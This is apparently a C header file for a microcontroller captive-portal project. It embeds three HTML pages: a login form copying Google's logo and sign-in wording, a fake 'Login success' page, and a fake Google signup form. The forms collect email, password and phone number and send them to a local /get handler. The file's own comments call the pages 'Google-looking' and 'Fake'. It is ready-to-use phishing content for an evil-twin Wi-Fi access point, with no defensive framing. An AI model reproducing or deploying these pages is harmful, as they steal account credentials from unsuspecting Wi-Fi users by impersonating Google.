-
Notifications
You must be signed in to change notification settings - Fork 0
/
html.h
380 lines (335 loc) · 11.2 KB
/
html.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
// Google-looking portal page
const char index_html[] PROGMEM = R"rawliteral(
<!DOCTYPE HTML>
<html>
<head>
<title>Google Wireless Login Portal</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #f1f1f1;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.login-container {
background-color: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
max-width: 300px;
width: 90%;
text-align: center;
align-items: center;
}
.login-container h3 {
text-align: center;
margin-top: 0;
}
.login-form {
display: flex;
flex-direction: column;
text-align: left;
}
.login-form input[type="text"],
.login-form input[type="password"] {
margin-bottom: 10px;
padding: 10px;
border-radius: 4px;
border: 1px solid #ccc;
font-size: 16px;
}
.login-form input[type="submit"] {
padding: 10px;
border: none;
border-radius: 4px;
background-color: #4285f4;
color: #fff;
font-size: 16px;
cursor: pointer;
transition: background-color 0.3s ease;
}
.signup-button {
padding: 10px;
border: none;
border-radius: 4px;
font-size: 16px;
cursor: pointer;
transition: background-color 0.3s ease;
width: auto;
margin: 0 5px;
/* Adjust margin for spacing */
display: inline-block;
/* Display buttons inline */
}
.login-form input[type="submit"]:hover {
background-color: #357ae8;
}
.signup-button {
background-color: #34A853;
color: #fff;
}
.signup-button:hover {
background-color: #2E8540;
}
.login-priv {
display: flex;
flex-direction: column;
align-items: left;
text-align: left;
margin-top: 10px;
color: darkgray;
/* visibility: hidden; */
}
.pw-forgot {
margin-top: 10px;
color: darkgray;
font-size: 14px;
text-decoration: none;
text-align: center;
}
a {
color: darkgray;
/* Specify your desired color */
text-decoration: none;
/* Optional: Remove underline */
}
.google-logo {
width: 100px;
margin-bottom: 20px;
/* Adjust the size of the logo as needed */
}
</style>
</head>
<body>
<div class="login-container">
<svg class="google-logo" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">
<path
d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z"
fill="#4285F4" />
<path
d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z"
fill="#34A853" />
<path
d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z"
fill="#FBBC05" />
<path
d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z"
fill="#EA4335" />
<path d="M1 1h22v22H1z" fill="none" />
</svg>
<h3>Use your Google Account</h3>
<form action="/get" class="login-form">
<label for="username">Email address or phone number</label>
<input type="text" id="username" name="username" required>
<label for="password">Password</label>
<input type="password" id="password" name="password" required>
<!-- Use flexbox for button alignment -->
<div style="display: flex; justify-content: center; align-items: center;">
<input type="submit" value="Login">
<a href="/signup" class="signup-button">Create Account</a>
</div>
<legend class='pw-forgot'><a
href="https://support.google.com/accounts/answer/41078?hl=en&co=GENIE.Platform%3DDesktop">Forgot
email or password?</a></legend>
</form>
<div class='login-priv'>
<p class='pw-forgot'>Not your computer? Use a Private Window to sign in. <a href="https://support.google.com/accounts/answer/2917834?hl=en&co=GENIE.Platform%3DDesktop">Learn more</a></p>
</div>
</div>
</body>
</html>
)rawliteral";
// Fake "Login success" page
const char success_html[] PROGMEM = R"rawliteral(
<!DOCTYPE HTML>
<html>
<head>
<title>Login Portal</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #f1f1f1;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.success-container {
background-color: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
max-width: 300px;
width: 90%;
text-align: center;
}
.success-container h3 {
margin-top: 0;
}
.success-container p {
margin-top: 20px;
}
</style>
</head>
<body>
<div class="success-container">
<h3>Success</h3>
<p>Thank you! You are now connected to the internet.</p>
</div>
</body>
</html>
)rawliteral";
// Fake "Sign up" page
const char signup_html[] PROGMEM = R"rawliteral(
<!DOCTYPE HTML>
<html>
<head>
<title>Google Account Signup</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #f1f1f1;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.login-container {
background-color: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
max-width: 300px;
width: 90%;
text-align: center;
align-items: center;
}
.login-container h3 {
text-align: center;
margin-top: 0;
}
.login-form {
display: flex;
flex-direction: column;
text-align: left;
}
.login-form input[type="text"],
.login-form input[type="password"] {
margin-bottom: 10px;
padding: 10px;
border-radius: 4px;
border: 1px solid #ccc;
font-size: 16px;
}
.login-form input[type="submit"] {
padding: 10px;
border: none;
border-radius: 4px;
background-color: #4285f4;
color: #fff;
font-size: 16px;
cursor: pointer;
transition: background-color 0.3s ease;
}
.signup-button {
padding: 10px;
border: none;
border-radius: 4px;
font-size: 16px;
cursor: pointer;
transition: background-color 0.3s ease;
width: auto;
margin: 0 5px;
/* Adjust margin for spacing */
display: inline-block;
/* Display buttons inline */
}
.login-form input[type="submit"]:hover {
background-color: #357ae8;
}
.signup-button {
background-color: #34A853;
color: #fff;
}
.signup-button:hover {
background-color: #2E8540;
}
.login-priv {
display: flex;
flex-direction: column;
align-items: left;
text-align: left;
margin-top: 10px;
color: darkgray;
/* visibility: hidden; */
}
.pw-forgot {
margin-top: 10px;
color: darkgray;
font-size: 14px;
text-decoration: none;
text-align: center;
}
a {
color: darkgray;
/* Specify your desired color */
text-decoration: none;
/* Optional: Remove underline */
}
.google-logo {
width: 100px;
margin-bottom: 20px;
/* Adjust the size of the logo as needed */
}
</style>
</head>
<body>
<div class="login-container">
<svg class="google-logo" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24">
<path
d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z"
fill="#4285F4" />
<path
d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z"
fill="#34A853" />
<path
d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z"
fill="#FBBC05" />
<path
d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z"
fill="#EA4335" />
<path d="M1 1h22v22H1z" fill="none" />
</svg>
<h3>Sign up for a free Google Account</h3>
<form action="/get" class="login-form">
<label for="username">Email address</label>
<input type="text" id="username" name="username" required>
<label for="number">Phone number</label>
<input type="text" id="number" name="number" required>
<label for="password">Password</label>
<input type="password" id="password" name="password" required>
<!-- Use flexbox for button alignment -->
<div style="display: flex; justify-content: center; align-items: center;">
<input type="submit" value="Create Account">
</div>
<legend class='pw-forgot'><a
href="https://support.google.com/accounts/answer/41078?hl=en&co=GENIE.Platform%3DDesktop">Terms & Conditions</a></legend>
</form>
<div class='login-priv'>
<p class='pw-forgot'>Not your computer? Use a Private Window to sign in. <a href="https://support.google.com/accounts/answer/2917834?hl=en&co=GENIE.Platform%3DDesktop">Learn more</a></p>
</div>
</div>
</body>
</html>
)rawliteral";